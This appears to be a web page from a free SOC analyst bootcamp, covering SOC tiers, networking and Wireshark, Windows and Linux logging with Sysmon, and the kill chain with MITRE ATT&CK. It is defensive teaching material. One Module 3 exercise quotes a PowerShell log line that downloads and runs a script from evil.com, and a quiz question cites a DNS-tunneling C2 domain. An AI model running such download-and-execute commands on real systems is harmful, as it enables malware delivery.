Jump to: 🔥 Challenge News ⚡ Intel 🔬 Research Labs 📡 All News →

SOC Analyst Training Bootcamp

Structured curriculum from zero to expert — tutor-style explanations, hands-on labs with free tools, and daily practice tasks.

5
Phases
20
Modules
365
Days
100%
Free Tools
Phase 1 · Foundation
Building the Mental Model
Before you can detect attacks, you need to understand what "normal" looks like. This phase teaches you how the internet actually works, what logs are and why they exist, and how attackers think — so everything you learn later has a foundation to attach to.
📅 60 days 🎯 Complete beginner 🛠 Wireshark · TryHackMe · CyberChef
MOD 01 The SOC — What It Is and How It Works Days 1-7
Tutor Explanation

Think of a Security Operations Centre as the nervous system of an organisation's digital defence. Just like a hospital emergency room monitors patients around the clock, a SOC monitors every computer, server, and network device around the clock — looking for signs that something is wrong.

The SOC has three jobs: see everything (collect logs from every device), understand what it sees (distinguish normal activity from attacks), and respond fast (contain and fix problems before they get worse).

The SOC Analyst Tiers
Tier 1 (Alert Analyst): You are the first pair of eyes. You receive alerts from the SIEM, triage them (is this real or a false positive?), and escalate the interesting ones. You handle 50-200 alerts per shift.

Tier 2 (Incident Responder): When Tier 1 escalates, you investigate deeply. You correlate multiple alerts, look at raw logs, and determine the full scope of an incident.

Tier 3 (Threat Hunter / Senior): You proactively search for attackers who have already bypassed automated detection. You write detection rules, mentor Tier 1, and manage major incidents.
A Tier 1 analyst is like a triage nurse — you assess every patient (alert), separate the critical from the routine, and call the doctor (Tier 2) when something needs deeper attention.

The technology stack in a SOC has three layers. At the bottom is the data layer — firewalls, endpoint agents, servers, and cloud services all generate logs. In the middle is the analysis layer — the SIEM (Security Information and Event Management) platform that collects all these logs and runs correlation rules. At the top is the response layer — SOAR (Security Orchestration, Automation and Response) tools that automate repetitive response actions.

As a beginner, focus entirely on understanding the data layer first. You cannot investigate alerts without understanding what the underlying systems are actually doing.

Open Source Tools to Install
TryHackMe
Interactive browser-based labs. Start with SOC Level 1 path. Free tier available.
→ tryhackme.com
Security Onion
Free Linux distro that is a complete SOC-in-a-box: SIEM, IDS, packet capture.
→ securityonionsolutions.com
Elastic SIEM (Free)
Full ELK stack with security features. Run locally with Docker.
→ elastic.co/siem
Daily Tasks — Week 1
Read: "What is a SOC?" — spend 30 minutes reading about how a real-world SOC operates. Search for "SOC analyst day in the life" YouTube videos.
Easy
Create a free TryHackMe account and complete the "Intro to Security Operations" room.
Easy
Draw a diagram of a SOC from memory: what systems feed data in, what analyses it, and what responds. Then compare with a reference diagram online.
Medium
Research: find three job postings for SOC Analyst roles in India. List every tool/technology they mention and mark which ones you don't know yet.
Medium
Checkpoint Questions
Verify your understanding before moving on
What is the difference between a SIEM and a SOAR platform?
What does a Tier 1 analyst do differently from a Tier 2?
Name three types of data sources that feed into a SOC.
MOD 02 Networking — The SOC Analyst's Foundation Days 8-21
Tutor Explanation

Every single attack travels over a network. If you cannot read a packet capture, you cannot investigate an intrusion. This is non-negotiable for a SOC analyst — networking knowledge is the difference between someone who looks at alerts and someone who actually understands them.

Start with the OSI model, not because you'll be tested on it, but because it gives you a mental map. When you see a firewall log, that's Layer 3-4 data (IP addresses and ports). When you see an HTTP request in a proxy log, that's Layer 7 (application). Understanding which layer an attack operates at tells you where to look for evidence.

The Protocols You Must Know Cold
TCP/IP: How computers establish connections (SYN, SYN-ACK, ACK — the three-way handshake). A port scan appears as thousands of SYN packets with no SYN-ACK responses.

DNS: Translates domain names to IPs. Attackers abuse it for C2 (DNS tunneling), data exfiltration, and phishing (lookalike domains).

HTTP/HTTPS: The language of the web. Web shells, SQL injection, and C2 beacons all ride on HTTP. You need to be able to read HTTP requests and responses.

SMB (port 445): Windows file sharing. EternalBlue, WannaCry, lateral movement — SMB is involved in more major attacks than almost any other protocol.

DHCP / ARP: How devices get IP addresses and how computers find each other on the same network. ARP spoofing = man-in-the-middle attacks.
DNS is like a phone book. When you type google.com your computer asks DNS "what number do I call?" A C2 domain is an attacker setting up a fake phone book entry that routes your calls to them.

The most important skill here is reading packet captures in Wireshark. Every SOC analyst needs to be able to: open a PCAP file, filter for specific traffic, follow a TCP stream to see the full conversation, and identify anomalies like port scans, large data transfers, or unusual protocols.

Key Wireshark filters to memorise: tcp.flags.syn==1 && tcp.flags.ack==0 shows SYN packets (port scans). http.request shows all HTTP requests. dns shows all DNS traffic. ip.addr==192.168.1.1 filters by specific IP.

Hands-On Lab
Lab 2.1 — Analyse a Real Attack PCAP
1Download Wireshark (free) and install it. Also download a sample malicious PCAP from Malware Traffic Analysis (malware-traffic-analysis.net/training-exercises.html).
2Open the PCAP. First look at Statistics → Protocol Hierarchy to see what traffic types are present.
3Use this filter to find the initial infection: http.request.method == "GET" or http.request.method == "POST"
4Right-click any HTTP stream → Follow → TCP Stream. Read the full HTTP conversation. Can you see what was downloaded?
5Filter for DNS: dns. Look for unusual domain names, long subdomains (DNS tunneling), or high-frequency queries to one domain (C2 beacon).
6Document: infected machine IP, attacker IP, malware family (Google any suspicious domains you find), and the attack timeline.
Daily Tasks — Weeks 2-3
Install Wireshark. Capture 5 minutes of your own network traffic. Identify every protocol you see and what it is used for.
Easy
Complete TryHackMe "Pre-Security" path networking sections: Networking Fundamentals, How the Web Works.
Easy
Download 3 malicious PCAPs from malware-traffic-analysis.net and practice the Wireshark lab above on each one.
Medium
Use nmap to scan your own home network: nmap -sn 192.168.1.0/24. Document every device you find. Why does a SOC analyst need to know all devices on a network?
Medium
Challenge: Given a firewall log showing IP 192.168.1.55 making 847 connections to 192.168.1.100 on port 445 in 30 seconds — what attack does this describe? Write a 3-sentence investigation note.
Hard
Checkpoint Questions
Verify your understanding before moving on
A host makes DNS queries for aGVsbG8.c2.evil.com every 60 seconds. What attack technique does this suggest?
Explain the TCP three-way handshake. What does an incomplete handshake (SYN with no SYN-ACK) indicate at scale?
What is the difference between port 80 and port 443? Why do attackers prefer HTTPS for C2?
MOD 03 Windows & Linux — Reading OS Logs Days 22-45
Tutor Explanation

Attackers live inside operating systems. They create processes, modify the registry, access files, and authenticate to services — all of which generate logs. Your job is to read those logs and spot behaviour that does not belong.

Windows is the primary target in most enterprise environments, so understand it first. Windows generates event logs in several channels. The four you will use every day are: Security (logins, account changes, privilege use), System (service starts, crashes, driver loads), Application (software events), and Sysmon (detailed process, network, and registry activity — install this immediately, it transforms Windows logging).

Windows Event IDs Every SOC Analyst Must Memorise
4624 — Successful login. Check LogonType: 2=interactive, 3=network, 10=remote desktop.
4625 — Failed login. Many in a row = brute force attack.
4648 — Login with explicit credentials (Pass-the-Hash indicator).
4672 — Special privileges assigned (admin login, SeDebugPrivilege = Mimikatz).
4688 — New process created. CMD/PowerShell spawned by Word/Excel = malware.
4698 — Scheduled task created (persistence mechanism).
4720 — New user account created.
4732 — User added to security group.
7045 — New service installed (common malware persistence).
Sysmon — Install This Before Anything Else
Sysmon is a free Microsoft Sysinternals tool that dramatically improves Windows logging. Default Windows logging misses critical events. Sysmon adds:

Event 1 — Process creation with full command line and parent process.
Event 3 — Network connection with process name and destination.
Event 7 — DLL loaded (detect DLL hijacking).
Event 10 — Process accessed another process (detect credential dumping from LSASS).
Event 11 — File created (detect malware dropping files).
Event 13 — Registry value set (detect persistence via Run keys).

For Linux, the critical log files are: /var/log/auth.log (authentication, sudo, SSH), /var/log/syslog (general system events), /var/log/apache2/access.log or /var/log/nginx/access.log (web server requests), and the output of journalctl (systemd journal).

The most important Linux skill for a SOC analyst is reading SSH logs. Failed SSH logins from multiple countries in rapid succession = brute force. A successful SSH login from a country where no legitimate user has ever connected = likely account compromise.

Hands-On Lab
Lab 3.1 — Investigate a Simulated Attack on Windows
1Download and install Sysmon with SwiftOnSecurity config:
sysmon64 -accepteula -i sysmonconfig.xml
2Open PowerShell and run calc.exe. Then open Event Viewer → Applications and Services Logs → Microsoft → Windows → Sysmon → Operational. Find Event ID 1. What does the process tree show?
3Simulate a suspicious command: powershell.exe -nop -w hidden -c "whoami; hostname". Find this in Sysmon Event 1. Note the -nop (no profile) and -w hidden flags — these are red flags in a real investigation.
4Look at Event 4688 in Security log for the same events. Compare what Windows native logging captured versus what Sysmon captured. This shows you why Sysmon is essential.
5Download EVTX-ATTACK-SAMPLES from GitHub (actual attack event logs). Open them in Event Viewer and try to reconstruct what the attacker did, step by step.
Daily Tasks — Weeks 4-6
Install Sysmon on a Windows VM with the SwiftOnSecurity configuration. Verify it is logging by checking Event Viewer.
Easy
Every day this week: open auth.log or Security event log and read 50 events. Write one sentence about what you observe. Build the habit of reading raw logs.
Easy
Complete TryHackMe "Windows Event Logs" room and "Sysmon" room. Take notes on every Event ID you encounter.
Medium
Given this log line: "4688 — Process: powershell.exe Parent: winword.exe CommandLine: -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/s.ps1')" — write a full incident investigation note: what happened, what technique, what is the MITRE ATT&CK ID, what is the immediate response.
Hard
MOD 04 How Attackers Think — The Attack Lifecycle Days 46-60
Tutor Explanation

A defender who does not think like an attacker will always be reactive. Understanding the attack lifecycle means you can predict where an attacker will be next and look for evidence before they achieve their objective.

The Cyber Kill Chain (Lockheed Martin) describes 7 stages every targeted attack goes through. Attackers rarely skip stages — they almost always follow this sequence. If you catch evidence at stage 3, you know stages 4-7 are coming and can prepare.

The Kill Chain — What Each Stage Looks Like in Logs
1. Reconnaissance: Attackers research your organisation. You see this in web server logs (scanning user-agents, unusual paths), DNS queries from external IPs, and LinkedIn scraping.

2. Weaponisation: Attacker creates the malicious document/exploit. You don't see this — it happens on their systems.

3. Delivery: Phishing email arrives. You see this in email gateway logs: unusual sender domain, attachment type, link URLs.

4. Exploitation: The malicious attachment executes. Sysmon Event 1 shows the exploit process (e.g., winword.exe spawning cmd.exe).

5. Installation: Malware installs persistence. Event 7045 (new service), Event 4698 (scheduled task), or Registry Run key modification in Sysmon Event 13.

6. Command & Control: Malware connects to attacker server. Sysmon Event 3 shows unusual outbound connections; proxy logs show beaconing pattern.

7. Actions on Objectives: Data exfiltration, ransomware encryption, lateral movement. Large outbound transfers, mass file modifications, new network connections to internal systems.

The MITRE ATT&CK Framework is the most important reference document in your career. It maps 200+ specific attacker techniques to the tactics (goals) they achieve. When you see powershell.exe with -EncodedCommand, that is T1059.001 (PowerShell) under the Execution tactic. When you see a process accessing lsass.exe memory, that is T1003.001 (LSASS Memory Dump) under Credential Access.

You do not need to memorise all 200+ techniques. You need to understand the 14 tactics and the top 20 most common techniques in each one. The rest you look up as you encounter them.

Daily Tasks — Weeks 7-9
Read the MITRE ATT&CK framework introduction at attack.mitre.org. Navigate to the Enterprise matrix. Spend 30 minutes just exploring — click on 5 random techniques and read them fully.
Easy
Complete TryHackMe "MITRE" room. Take notes on every technique you encounter with the log evidence that would reveal it.
Medium
Read one real-world APT report (Mandiant, CrowdStrike, or CERT-In publishes these). Map the attacker's actions to the Kill Chain stages. What could a SOC have detected and when?
Hard